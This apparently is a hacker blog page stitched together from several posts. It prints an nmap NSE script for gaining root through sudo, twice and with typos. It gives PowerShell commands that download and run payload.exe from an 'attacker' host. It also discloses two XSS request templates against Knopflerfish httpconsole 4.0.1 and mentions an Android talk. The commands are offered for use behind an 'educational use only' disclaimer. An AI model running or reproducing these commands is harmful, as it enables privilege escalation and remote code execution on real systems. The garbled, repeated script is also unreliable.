Here is the script:
os.execute("id") #replace with any cmd you like, i used id to verify r00t
portrule = fucntion()
end
action = fucntion()
end
save to /tmp/ and run like so:
sudo nmap --script=/tmp/hax0r.nse
and profit?
"Lets break it!"
All info in this blog is for educational use only!
Here is the script:
os.execute("id") #replace with any cmd you like, i used id to verify r00t
portrule = fucntion()
end
action = fucntion()
end
save to /tmp/ and run like so:
sudo nmap --script=/tmp/hax0r.nse
and profit?
Download bin:
powershell -exec bypass -c Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile c:\Users\Public\Documents\payload.exe #wrap the execution of payload.exe in a batch file called start.cmd and "download" it to target as well.
powershell -exec bypass -c Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList c:\Users\Public\Documents\start.cmd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Cross Site Scripting x2
[x] Vendor: Knopflerfish Project
[x] Vendor Website: https://www.knopflerfish.org
[x] Bundle Name: httpconsole
[x] Bundle Version: 4.0.1
[x] Bundle DL: https://www.knopflerfish.org/releases/current/osgi/jars/httpconsole/httpconsole_all-4.0.1.jar
[x] Found by: Anarchy Angel
[x] Twitter: @anarchyang31
[x] URL: https://aahideaway.blogspot.com
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[1] Pre-authentication XSS in login page.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: loginname
exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...
loginname=[XSS]&loginpwd=asd&login_cmd=Login
====
[2] Post authentication XSS in management console.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: cmd_install_url
exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...
bundle_id=29&cmd_install_url=[XSS]&cmd_installurl=install
Ummm firsties? :)
Labels: LHFI
This time we covered broadcast receivers abuse in android applications.
Here is the android studio project
Slides from the demo
Here is the cheatsheet I keep talking about :)
Many thanks to stl2600 and Arch Reactor for allowing me to do stuff in the space! I hope everyone enjoyed this small series of presentations.
Thank you all!